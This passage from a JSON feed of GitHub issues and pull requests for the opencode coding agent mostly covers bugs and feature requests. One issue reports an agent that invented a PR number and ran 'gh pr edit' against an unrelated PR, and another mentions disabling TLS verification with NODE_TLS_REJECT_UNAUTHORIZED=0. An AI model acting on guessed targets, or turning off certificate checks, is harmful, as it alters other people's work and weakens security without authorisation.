          "text": "### Description 我们发现在opencode桌面端（Windows）中 更新按钮中“更新”左侧出现了一些空白内容 ### Plugins _No response_ ### OpenCode version 1.18.16 ### Steps to reproduce 1.获取到更新 2.使用中文版本（桌面端） 3.使焦点位于更新按钮 ### Screenshot and/or share link <img width=\"668\" height=\"86\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/721f7745-7fa2-4c06-98ab-3639213a2d4e\" /> ### Operating System Windows 11 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42232",
          "createdAt": "2026-08-13T03:14:49Z",
          "updatedAt": "2026-08-13T03:15:43Z",
          "timestamp": "2026-08-13T03:15:43Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "farmer-snack",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ddd08a839e10f60004d8",
        "signalId": "github:anomalyco/opencode:issue:42124",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42124",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Show timestamp on permission prompts (Ask/Approve dialogs)",
          "text": "## Feature Request: Show timestamp on permission prompts ### Description When OpenCode prompts for approval (e.g., \"Do you want to allow this bash command?\"), include the current date/time so the user has temporal context for the request. ### Use case Permission prompts currently show the tool name and arguments, but not **when** the request was made. For long-running sessions where many minutes pass between user prompts (and the agent is thinking, then proposing), the user has no easy way to know **how stale** a prompt is. Example scenario: - Agent says \"Voy a hacer X\" at 10:00 - Agent enters thinking mode for 8 minutes - Permission prompt appears at 10:08 with the proposed action - User has no easy way to see how long the agent took between planning and executing ### Proposed display Add a small timestamp to the permission prompt, similar to how `/thinking` and timestamps on messages already work: ``` ┌─────────────────────────────────────────────┐ │ Permission Required │ │ Shell command │ │ │ │ $ git push origin develop │ │ │ │ Asked: 08/08/2026 14:32:11 │ ← new field │ │ │ [once] [always] [reject] │ └─────────────────────────────────────────────┘ ``` The exact format can match the existing `timestamps` config in `kv.json` (`\"show\"` | `\"hide\"`), so users who already disabled timestamps get consistent behavior. ### Why this is useful 1. **Audit trail** — knowing when a permission was asked helps with reviewing past decisions 2. **Staleness check** — if a prompt has been waiting too long, user knows the context may have changed 3. **Debugging loops** — helps identify when the agent is stuck in long-thinking cycles 4. **Consistency with existing timestamps** — `kv.json: \"timestamps\": \"show\"` already works for chat messages; this would extend that to permission prompts ### Related existing functionality - `kv.json: timestamps: show` — toggles timestamps on chat messages (already works) - `tui.json: keybinds.session_toggle_timestamps` — keybind for the toggle - `tui.json: keybinds.session_timeline` — keybind for session timeline ### Acceptance criteria - [ ] Permission prompts show current timestamp by default (when `kv.json: timestamps: \"show\"`) - [ ] When `kv.json: timestamps: \"hide\"`, permission prompt does NOT show timestamp (consistent with chat messages) - [ ] Timestamp format is consistent with existing chat message timestamps - [ ] Works across all permission prompt types: `bash`, `edit`, `webfetch`, `question`, etc. ### Environment - OpenCode version: 1.18.10 - TUI mode (gnome-terminal on Wayland) - kv.json: timestamps: show ### Workaround (current) For now, the user has to either: - Track time manually while watching the agent - Use external `watch -n 1 date` in another terminal - Wait for the chat message timestamp (already visible) to estimate None of these are integrated with the actual permission prompt.",
          "url": "https://github.com/anomalyco/opencode/issues/42124",
          "createdAt": "2026-08-12T19:13:02Z",
          "updatedAt": "2026-08-13T03:14:16Z",
          "timestamp": "2026-08-13T03:14:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "iamjalberto",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4b584a511ceebf830832",
        "signalId": "github:anomalyco/opencode:issue:19130",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:19130",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Windows ARM64 native: OpenTUI fails to initialize with bun:ffi dlopen TinyCC error",
          "text": "### Description On Windows 11 ARM64, the native ARM64 OpenCode binary works for non-interactive commands, but the TUI fails to initialize. The native binary successfully runs commands like: - `opencode.exe --version` - `opencode.exe --help` - `opencode.exe debug --help` - `opencode.exe debug paths` However, starting the interactive TUI does not start correctly and logs this error: ```text Failed to initialize OpenTUI render library: bun:ffi dlopen() is not available in this build (TinyCC is disabled) ``` ### Environment - OS: Windows 11 ARM64 - Architecture: native ARM64 - Installation method: npm global install - Native binary path: `C:\\Users\\<user>\\AppData\\Roaming\\npm\\node_modules\\opencode-ai\\node_modules\\opencode-windows-arm64\\bin\\opencode.exe` ### OpenCode version Observed from direct ARM64 binary: - `1.3.0` Also noting that `opencode` from PATH reported `1.3.2` in my environment, so there may be version/path inconsistency locally. If needed, I can provide more details, but the native ARM64 binary issue below was reproduced directly from the ARM64 executable path. ### Steps to reproduce 1. Install OpenCode on Windows ARM64 via npm 2. Run the native ARM64 binary directly: ```powershell C:\\Users\\<user>\\AppData\\Roaming\\npm\\node_modules\\opencode-ai\\node_modules\\opencode-windows-arm64\\bin\\opencode.exe ``` 3. Alternatively run: ```powershell C:\\Users\\<user>\\AppData\\Roaming\\npm\\node_modules\\opencode-ai\\node_modules\\opencode-windows-arm64\\bin\\opencode.exe --print-logs --log-level DEBUG ``` 4. Observe startup behavior ### Expected behavior The OpenCode TUI should initialize and start normally on the native Windows ARM64 build. ### Actual behavior The process does not start the TUI correctly and logs: ```text ERROR ... Failed to initialize OpenTUI render library: bun:ffi dlopen() is not available in this build (TinyCC is disabled) ERROR ... Error: Failed to initialize OpenTUI render library: bun:ffi dlopen() is not available in this build (TinyCC is disabled) ``` In my testing, the process stayed alive until manually terminated / timed out, rather than exiting cleanly. ### Additional notes - This seems different from the existing Windows OpenTUI DLL/path issues that fail with `LoadLibrary` / DLL error codes. - This also seems different from the existing Windows ARM64 x64-emulation crash report, since this was reproduced against the native ARM64 binary directly. - Non-interactive commands work, so the problem appears specific to OpenTUI initialization on Windows ARM64 native. - Related but possibly separate: I have also seen instability when using the x64 build under emulation on Windows ARM64, but this report is specifically about the native ARM64 binary failing to initialize OpenTUI. If useful, I can provide the exact command output and more environment details.",
          "url": "https://github.com/anomalyco/opencode/issues/19130",
          "createdAt": "2026-03-25T15:44:19Z",
          "updatedAt": "2026-08-13T03:11:49Z",
          "timestamp": "2026-08-13T03:11:49Z",
          "metrics": {
            "reactions": 12,
            "comments": 17
          },
          "labels": [],
          "author": "Carliquiss",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:9f5601c658018407deb5",
        "signalId": "github:anomalyco/opencode:pull_request:42223",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42223",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): correct working directory when continuing session in a new directory",
          "text": "### Issue for this PR Closes #42221 Also addresses #41562 ### Type of change - [x] Bug fix ### What does this PR do? `opencode -c` in a directory with no prior sessions showed an old directory instead of the current one. Two issues caused this: 1. **SDK `pick()` didn't fall back to `config.directory`** — When the `x-opencode-directory` header was missing from a request, `pick()` returned `undefined` instead of the configured directory. This meant the `directory` query param wasn't sent, so the server's `listGlobal` skipped its directory filter and returned sessions from all directories. The `-c` continue logic then resumed a session from the wrong directory. Fix: `pick()` now returns `fallback` when the header value is missing, so the configured directory is always sent as a query param. 2. **Continue effect didn't fall back to home** — When `-c` found no matching session in the blocking phase, it stayed on the placeholder `\"dummy\"` session route, producing a broken view. Fix: the continue effect now navigates to home once sync completes without a match. ### How did you verify your code works? - Typecheck passes for both `packages/sdk/js` and `packages/tui` - SDK tests pass (1/1), TUI session list tests pass (5/5) - TUI full suite: 189 pass, 4 pre-existing failures (Windows path separator + KV state file — unrelated) - Verified session DB stores forward-slash paths while `FSUtil.resolve` returns backslashes on Windows, confirming the filter mismatch path ### Screenshots / recordings _N/A (logic fix, no visible UI change beyond correct directory display)_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42223",
          "createdAt": "2026-08-13T02:23:58Z",
          "updatedAt": "2026-08-13T03:08:21Z",
          "timestamp": "2026-08-13T03:08:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "shinelon",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d6a5ed46c7faedf9e04c",
        "signalId": "github:anomalyco/opencode:issue:41562",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41562",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode -c resumes a session from a different working directory (across root-level git worktrees of the same repo)",
          "text": "### Description Running `opencode -c` from one directory resumed a session that was created in a different working directory of the same repository. In my case the directories are root-level git worktrees of the same repo: ``` ~/code/biggerpockets [branch A] ~/code/boggerpockets [branch B] ~/code/buggerpockets [branch C] ``` Starting `opencode -c` inside `biggerpockets` resumed the most recently updated session from a sibling worktree instead of the latest session in the launch directory. The mismatch was not obvious until I noticed the model was operating in the wrong checkout. This is the runtime `-c` (continue) behavior that open issue #38529 explicitly scopes out: \"This issue only covers discovery; changing runtime cwd when resuming a session is separate.\" The prior issues covering this exact `-c` behavior were all closed as not planned: - #26099 — hierarchical session filter has no exact-match mode; `-c` from a parent dir picks the wrong child session - #25963 — `--continue` resumes latest session across root-level git worktrees instead of current worktree - #18890 — sessions from different non-git directories are mixed when using `--continue` - #28972 ### Root cause Sessions are scoped by project-relative path (introduced in #24849). For root-level git worktrees of the same repository, the relative path resolves to `\"\"` for every worktree, so every checkout matches the same continuation scope and `-c` picks the globally most recent session. ### Expected `opencode -c` should resume the latest session whose stored directory exactly matches the launch directory (current worktree), not the most recent session across the whole project. ### Actual `opencode -c` can resume the most recently updated session from a different worktree of the same repo. ### Environment - OpenCode version: 1.18.16 - Operating System: macOS - Terminal: zsh - Plugins: None",
          "url": "https://github.com/anomalyco/opencode/issues/41562",
          "createdAt": "2026-08-10T14:58:40Z",
          "updatedAt": "2026-08-13T03:08:10Z",
          "timestamp": "2026-08-13T03:08:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "bockets",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:833ef91ae87607a02120",
        "signalId": "github:anomalyco/opencode:issue:15617",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:15617",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Support inline skill invocation using $skill-name",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Support inline skill invocation using $skill-name syntax anywhere in a prompt (not just at the start). Currently, OpenCode requires skills to be invoked via slash commands at the beginning of a prompt (e.g., `/skill-name do something`). OpenAI Codex supports mentioning skills inline with $skill-name anywhere in the prompt, allowing more natural phrasing like: `Use $brainstorming to explore ideas for the API design` Reference: https://developers.openai.com/codex/skills/",
          "url": "https://github.com/anomalyco/opencode/issues/15617",
          "createdAt": "2026-03-01T20:40:20Z",
          "updatedAt": "2026-08-13T03:00:18Z",
          "timestamp": "2026-08-13T03:00:18Z",
          "metrics": {
            "reactions": 18,
            "comments": 8
          },
          "labels": [],
          "author": "marioaltvater",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6ebd4f5169f488a035f5",
        "signalId": "github:anomalyco/opencode:issue:42230",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42230",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "New session created via /new gets projectID=global instead of the directory's project, making prior sessions invisible in /sessions",
          "text": "# Description ## Environment - opencode version: 1.18.17 - OS: macOS (darwin), TUI - Working directory: a git repo with a linked worktree (.worktrees/magazine-portfolio) - git config --global safe.directory = * ## Description After pressing /new in a directory that already has an associated project, the new session is created with projectID=global instead of the project ID. Since the /sessions picker appears to filter by project, only \"global\" sessions are shown, and all prior sessions (which belong to the real project) disappear from the list. Data is not lost — the old sessions are intact in the DB — but the user cannot switch back to them from the UI. ## Steps to reproduce 1. Start opencode in /path/to/repo (git repo). 2. Do some work in a session; the session gets assigned to the directory's project (projectID=<hash>). 3. Press /new to start a new session in the same directory. 4. Run /sessions — only the current session is listed. ## Expected behavior The new session inherits the directory's existing project ID; /sessions shows all sessions for that directory. ## Actual behavior The new session is created with projectID=global; /sessions only shows global-project sessions. Log evidence (from ~/.local/share/opencode/log/opencode.log) 02:45:46 level=INFO message=\"booting location services\" directory=/Users/lichao/git/opencode_test workspaceID=undefined 02:45:46 level=INFO message=\"project copy refresh done\" projectID=3c7c11a5... updated=[] removed=[] 02:46:49 level=INFO message=created id=ses_006fc1c3... projectID=global directory=/Users/lichao/git/opencode_test workspaceID=undefined title=\"New session - ...\" Note that projectID=3c7c11a5... (the correct project) was known to the same instance ~1 minute earlier, and a session created at 02:44:37 got the correct ID. ## Additional observations - The same instance also reports the directory as \"not a git repo\" (env detection says Is directory a git repo: no) even though git status works fine. - Timeline: the opencode instance started (01:45 UTC) before the git repo was initialized (~01:55 UTC). Sessions created before repo init got global and were later re-associated to the project — but the post-init /new session was not. - All sessions in another directory (my-daily-work, also a git repo) are under global as well, same symptom. ## Workaround Manually reassign in the DB (after quitting opencode): sqlite3 ~/.local/share/opencode/opencode.db \\ \"UPDATE session SET project_id='<project_id>' WHERE id='<session_id>';\" (project_id can be found via SELECT id, worktree FROM project;)",
          "url": "https://github.com/anomalyco/opencode/issues/42230",
          "createdAt": "2026-08-13T02:57:50Z",
          "updatedAt": "2026-08-13T02:59:20Z",
          "timestamp": "2026-08-13T02:59:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "licsky",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:436304c91655ec1a41b9",
        "signalId": "github:anomalyco/opencode:pull_request:42227",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42227",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): reject inherited workspace providers",
          "text": "## What Preserve the typed `WorkspaceDriver.ProviderNotFound` contract for every unregistered provider name after removing the built-in Modal workspace driver in #42142. ## Before / After **Before:** the registry read `drivers[provider]` directly. Names inherited from `Object.prototype`, such as `constructor`, `toString`, and `__proto__`, resolved to unrelated values. Workspace creation then defected while trying to call the bogus driver's `create` method instead of returning `WorkspaceDriver.ProviderNotFound`. **After:** the registry accepts only own properties of the externally supplied provider record. Ordinary missing names and prototype-inherited names all return the same typed `ProviderNotFound` error. ## How - Guard the provider lookup in `packages/core/src/workspace/driver.ts` with `Object.hasOwn`. - Add focused Core coverage for an ordinary missing provider and the inherited `constructor`, `toString`, and `__proto__` names. ## Scope - V2 only; `packages/opencode` is unchanged. - No change to the generic workspace driver interface or layer registration API. - No built-in workspace provider is added. - The Modal implementation, dependency, tests, and lock graph remain removed by #42142. ## Testing - `cd packages/core && bun run test test/workspace.test.ts` (3 passed) - `cd packages/core && bun typecheck` - `cd packages/server && bun run test` (22 passed) - `cd packages/server && bun typecheck` - `cd packages/sdk-next && bun run test test/embedded.test.ts` (11 passed) - `cd packages/sdk-next && bun typecheck` - Push hook: `bun turbo typecheck --concurrency=3` (34 package tasks passed) - `bunx prettier --check packages/core/src/workspace/driver.ts packages/core/test/workspace.test.ts` - `git diff --check` ## Modal Removal Measurements Measured across #42142 using identical `bun build src/routes.ts --target=bun` commands: - Server JS bundle: 30,876,101 to 27,797,545 bytes, saving 3,078,556 bytes (9.97%). - Gzipped server JS: saving 361,312 bytes (6.91%). - Installed monorepo dependencies: saving 13,520 KiB (0.41%). - Lockfile: 39 lines and 20 Modal-related package entries removed.",
          "url": "https://github.com/anomalyco/opencode/pull/42227",
          "createdAt": "2026-08-13T02:39:01Z",
          "updatedAt": "2026-08-13T02:55:34Z",
          "timestamp": "2026-08-13T02:55:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4166da26903aedb82b6e",
        "signalId": "github:anomalyco/opencode:issue:26911",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:26911",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "OpenCode Go, the model does not support FIM",
          "text": "### Description [https://github.com/zed-industries/zed/issues/56379](https://github.com/zed-industries/zed/issues/56379) - The above is the problem I'm encountering when using the OpenCode Go API with the `edit_predictions` feature of the Zed Editor. - Could you please help me review the last comment and resolve it? ### Plugins _No response_ ### OpenCode version v1.14.48 ### Steps to reproduce - Use Zed Editor and OpenCode Go with the following configuration: ```json { \"edit_predictions\": { \"allow_data_collection\": \"no\", \"mode\": \"subtle\", \"provider\": \"open_ai_compatible_api\", \"open_ai_compatible_api\": { \"api_url\": \"https://opencode.ai/zen/go/v1/chat/completions\", \"model\": \"deepseek-v4-flash\", \"prompt_format\": \"deepseek_coder\" } }, \"show_edit_predictions\": true } ``` - I used OpenCode Go to reduce the cost of the `edit_predictions` feature in Zed Editor. - After using it, I received the following error: ```log 2026-05-11T16:52:49+07:00 ERROR [crates/edit_prediction/src/edit_prediction.rs:2213] fim edit prediction failed: custom server error: 400 Bad Request - {\"error\":{\"message\":\"Error from provider (DeepSeek): Failed to deserialize the JSON body into the target type: missing field `messages` at line 1 column 1335\",\"type\":\"invalid_request_error\",\"param\":null,\"code\":\"invalid_request_error\"}} ``` - The programmers at Zed Editor want me to ask the publisher of OpenCode Go. ### Screenshot and/or share link _No response_ ### Operating System Windows 10.0.19044 ### Terminal Zed Editor + ACP",
          "url": "https://github.com/anomalyco/opencode/issues/26911",
          "createdAt": "2026-05-11T16:42:14Z",
          "updatedAt": "2026-08-13T02:53:37Z",
          "timestamp": "2026-08-13T02:53:37Z",
          "metrics": {
            "reactions": 5,
            "comments": 6
          },
          "labels": [],
          "author": "kanagawa6",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:22277d26733d564ae32e",
        "signalId": "github:anomalyco/opencode:issue:32251",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32251",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode pr #<number> parses PR number as NaN",
          "text": "### Description So, i basically ran `opencode pr #992` it resulted in parsing the pr number as NaN and the checkout failed. While `opencode pr 992` works normally, The command should accept a leading #. also its good to note that gh pr checkout #992 and 992 - both works meaning gh cli already supports this. ### Plugins None ### OpenCode version 1.17.4 ### Steps to reproduce 1. Run `opencode pr #992` 2. See error `Fetching and checking out PR #NaN` ### Screenshot and/or share link <img width=\"464\" height=\"151\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ce6d0421-df7a-40cf-9cf7-72306e9c0fff\" /> ### Operating System Arch Linux ### Terminal Ghostty",
          "url": "https://github.com/anomalyco/opencode/issues/32251",
          "createdAt": "2026-06-14T01:10:38Z",
          "updatedAt": "2026-08-13T02:53:36Z",
          "timestamp": "2026-08-13T02:53:36Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "bupd",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:97b1e9e532d25c4cacfe",
        "signalId": "github:anomalyco/opencode:issue:32250",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32250",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "fix(desktop): MiniMax CN fails with certificate error in desktop but works in TUI",
          "text": "﻿## Description The MiniMax CN provider (`api.minimaxi.com`) fails with a certificate error in the desktop app but works perfectly in the TUI. **Error:** `Cannot connect to API: certificate has expired` ## Environment - **OS:** Windows 11 - **OpenCode version:** 1.17.6 - **Provider:** `minimax-cn` (`https://api.minimaxi.com/anthropic/v1`) - **Works in:** TUI (Bun runtime) - **Fails in:** Desktop app (Electron sidecar / Node.js utility process) ## Root Cause Analysis The desktop app's sidecar process runs in Electron's Node.js utility process, which handles TLS differently than the TUI's Bun runtime. ### Key findings: 1. **System `node` connects fine:** Running `node -e \"fetch('https://api.minimaxi.com/anthropic/v1')\"` returns status 404 (connection successful, no cert error). 2. **The sidecar loads system certificates via:** `packages/desktop/src/main/sidecar.ts:111-120`: ```ts function useSystemCertificates() { try { const nodeTls = tls as NodeTlsWithSystemCertificates nodeTls.setDefaultCACertificates([ ...new Set([...nodeTls.getCACertificates(\"default\"), ...nodeTls.getCACertificates(\"system\")]), ]) } catch (error) { console.warn(\"failed to load system certificates\", error) } } ``` This may fail silently or produce a different CA bundle than what the system Node.js uses. 3. **`NODE_TLS_REJECT_UNAUTHORIZED=0` does not propagate:** Setting this env var in a terminal does not reach the Electron utility process when the app is launched via Start menu or shortcut. The sidecar's `createSidecarEnv()` copies `process.env`, but the env var must be set before the main Electron process starts. 4. **WSL works because:** The WSL sidecar runs `opencode serve` as a native Bun process inside Linux, which reads `/etc/ssl/certs` directly — a different and more reliable certificate store than the Electron/Node.js path on Windows. ## Related Issues - #8601 (similar certificate verification errors on Windows) - #2992 (CA invalid on Windows, related to Bun/Node.js TLS differences)",
          "url": "https://github.com/anomalyco/opencode/issues/32250",
          "createdAt": "2026-06-14T01:03:35Z",
          "updatedAt": "2026-08-13T02:53:34Z",
          "timestamp": "2026-08-13T02:53:34Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "derycklong",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:265e9f5c7b47bc0dfadf",
        "signalId": "github:anomalyco/opencode:issue:32246",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32246",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "When updating agents.md for the qwen3.6 27b model, it always triggers prompt processing at 100%.",
          "text": "### Description qwen3.6 27b model updates to agents.md always trigger prompt processing. I run the model using llama.cpp, and opencode works fine at any time, rarely triggering prompt processing to re-read the context. However, as soon as the agent updates agents.md, it always writes a small piece of content to trigger one prompt processing. At 200k context, each trigger takes 300 seconds. I've tried many methods but couldn't solve it. I tried solving it from the llama.cpp parameters, but it made no difference. My llama.cpp startup command is as follows llama-b9568-bin-win-cuda-13.3-x64\\llama-server.exe -m D:\\unsloth\\27b\\Qwen3.6-27B-UD-Q5_K_XL.gguf --port 15023 --cache-type-k q8_0 --cache-type-v q8_0 -fa on --no-mmap -np 1 --host 0.0.0.0 --mmproj D:\\mmproj-BF16.gguf -t 1 -ngl 999 --main-gpu 0 --sleep-idle-seconds 600 -c 200000 --tensor-split 11,4 --cache-ram 38432 --ctx-checkpoints 24 --keep 4096 -b 8192 --checkpoint-min-step 256 --cache-reuse 1024 --slot-prompt-similarity 0.1 --cont-batching --parallel 1 ### Plugins opencode-supermemory,opencode-skills-collection@latest,context-mode,ecc-universal ### OpenCode version 1.17.6 ### Steps to reproduce 1. There is already an `agents.md`, which detailed records the content of the entire project, all functions, class relationships, etc. 2. Write new features for the project 3. Let the agent update agents.md ### Screenshot and/or share link <img width=\"1645\" height=\"792\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/58fb6f65-f65a-46e3-bfb0-67d5381da450\" /> ### Operating System windows 11 ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/32246",
          "createdAt": "2026-06-14T00:28:52Z",
          "updatedAt": "2026-08-13T02:53:33Z",
          "timestamp": "2026-08-13T02:53:33Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "qiujunhan",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ff5efc262fe3c5fd622c",
        "signalId": "github:anomalyco/opencode:issue:32237",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32237",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "/file/content reads can retain filesystem search state",
          "text": "### Description This might be related to #20695. Repeated `/file/content` reads appear to use more memory than expected. In a local reproducible run, plain file reads caused `opencode-serve` RSS (resident set size) to grow by about `523 MB`. The surprising part is that reading file contents seems to go through the cached location services, which can also set up filesystem search state. So a request that only reads one file may end up creating and keeping search data for the wider workspace. I used a local workload harness to generate this result. It creates temporary workspaces, starts `opencode serve`, repeatedly calls `/file/content`, samples `opencode-serve` RSS, and records request latency. The harness is not part of opencode, so the useful reproduction details are the inputs below rather than the exact local command. This issue is only about that specific file read behavior. It may be one piece of the broader memory discussion in #20695, but I do not know if it explains every memory problem there. Observed locally: - OpenCode: local dev build from `origin/dev` at `bf05e8a12` - Runtime: Bun `1.3.14` - OS: Windows 11 Home - Workload: repeated `/file/content` reads - Config: 12 workspaces, 100 steps, 80 files per workspace, 128 KB files - `opencode-serve` RSS delta: `+523.1 MB` - peak RSS: `993.0 MB` - harness finding: `memory.rss-growth` ### Plugins N/A ### OpenCode version local dev build from `origin/dev` at `bf05e8a12` ### Steps to reproduce Using any script or harness that can call a local `opencode serve` process: 1. Create 12 temporary workspaces. 2. Put 80 files in each workspace. 3. Make each file about 128 KB. 4. Start a local dev build of opencode with Bun `1.3.14`. 5. Repeatedly call `/file/content` for 100 steps across those workspaces. 6. Sample the `opencode-serve` process RSS about once per second while the run is active. 7. Compare the RSS before and after the run. ### Screenshot and/or share link N/A ### Operating System Windows 11 Home ### Terminal PowerShell / Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/32237",
          "createdAt": "2026-06-13T23:18:49Z",
          "updatedAt": "2026-08-13T02:53:32Z",
          "timestamp": "2026-08-13T02:53:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "hereswilson",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6b1938802ac35440e8f5",
        "signalId": "github:anomalyco/opencode:issue:32233",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32233",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Bug: PR comment context omits PR number, allowing agent to edit wrong PR",
          "text": "### Description In `opencode github run`, the dynamically inserted `<pull_request>` context for a PR comment does not include the PR number or PR URL. This caused the agent to invent a PR number during a title-fix request and run a write operation against the wrong PR. ## What happened The user commented on PR https://github.com/xlionjuan/searxng-mcp-go/pull/402 : ```text /oc fix pr title to comply the policy ``` The provided `<pull_request>` context included the PR title, body, head branch, base branch, state, changed files, etc., but did not include: ```text Number: 402 URL: https://github.com/xlionjuan/searxng-mcp-go/pull/402 ``` The agent correctly read the PR title policy, but then executed: ```bash gh pr edit 6 --title \"docs: fix 4 stale doc issues in release.md\" ``` PR `#6` was unrelated. The number `6` was not present in the provided PR context. ## Expected behavior For PR-triggered/comment-triggered runs, the generated `<pull_request>` context should include the authoritative PR identity, at minimum: ```text Number: <pr-number> URL: <pr-url> ``` Ideally, the runtime should also guard PR write operations so an agent cannot accidentally edit a different PR than the one that triggered the run. ## Why this matters Without an explicit PR number/URL, the model may infer or hallucinate a target PR number and perform writes against unrelated PRs. ### Plugins _No response_ ### OpenCode version v1.17.4 ### Steps to reproduce 1. Use `/oc` to comment ### Screenshot and/or share link Session: https://opncd.ai/share/3qk1j4qu ### Operating System Ubuntu 24.04 (GitHub Hosted Action runner) ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/32233",
          "createdAt": "2026-06-13T22:05:29Z",
          "updatedAt": "2026-08-13T02:53:31Z",
          "timestamp": "2026-08-13T02:53:31Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "xlionjuan",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:767b040353d4b07885c1",
        "signalId": "github:anomalyco/opencode:issue:19326",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:19326",
